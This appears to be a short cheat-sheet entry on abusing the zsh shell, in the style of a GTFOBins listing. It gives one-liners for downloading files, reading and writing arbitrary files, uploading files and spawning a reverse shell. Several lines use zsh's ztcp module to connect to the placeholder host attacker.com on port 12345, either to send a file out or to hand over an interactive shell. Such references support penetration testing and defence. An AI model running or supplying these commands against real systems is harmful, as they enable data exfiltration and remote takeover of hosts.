zsh

Download

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(<&$REPLY)" >/path/to/output-file'

File Read

zsh -c 'echo "$(</path/to/input-file)"'

This spawns a pager if run in a TTY.

zsh -c '</path/to/input-file'

File Write

zsh -c 'echo DATA >/path/to/output-file'

Inherit

zsh -c '</etc/hosts'

Reverse Shell

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;zsh >&$REPLY 2>&$REPLY 0>&$REPLY'

Shell

zsh

Upload

zsh -c 'zmodload zsh/net/tcp;ztcp attacker.com 12345;echo -n "$(</path/to/input-file)" >&$REPLY'